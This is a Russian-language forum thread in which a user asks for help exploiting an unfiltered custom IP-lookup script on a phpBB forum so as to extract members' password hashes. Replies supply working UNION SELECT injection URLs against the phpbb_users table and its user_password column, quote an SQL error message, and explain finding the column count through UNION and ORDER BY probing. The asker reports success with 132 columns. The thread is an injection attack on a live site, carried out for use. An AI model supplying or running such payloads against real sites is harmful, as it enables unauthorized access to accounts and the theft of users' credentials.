![]() |
Елементарная sql-иньекция
Проблема такая, на одном форуме phpbb есть самописаный скрипт каторый может проверять юзеров на сходство по ИП. В таблеце phpbb_users в какойто колонке сохраняется последний ИП юзера с каторого он заходил, но в етом скрипте нет никакой фильтрации, например, если я хочу узнать у каво из посетителей пароль "123123", тогда мне нужно зделать так /ip.php?id=0+union+select+*+from+phpbb_users+where+ user_password='4297f44b13955235245b2497399d7a93' и т.д. Сам скрипт выдает только ид/ник/ип юзера и все, как можно пробить пароль юзера по id?
|
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая |
Цитата:
Could not query attachment informations DEBUG MODE SQL Error : 1222 The used SELECT statements have a different number of columns SELECT * FROM phpbb_users WHERE user_id = 0 union select 1,user_password,3,4 from phpbb_users where user_id=1 Line : 51 File : ip.php |
число колонок подбирай...
union select 1,2,3 и так далее/* пока не подберешь число колонок.. Как подберешь смотри какие из них выводятся… |
уже до 100 дошел, значит здесь либо много колонок либо я делаю чтото нетак
|
ужас, 132 колонки было, спасибо запомошь всем кто отписался :)
|
n01038
Не обязательно было все 132 колонки перебирать.. :) можно было быстро и просто через order by & group by подобрать ;) |
Цитата:
|
набиаешь например /ip.php?id=0+order+by+100/*, если ошибка появилась значит число колонок меньше 100, если не появилась значить больше или равно 100...
|
| Время: 17:35 |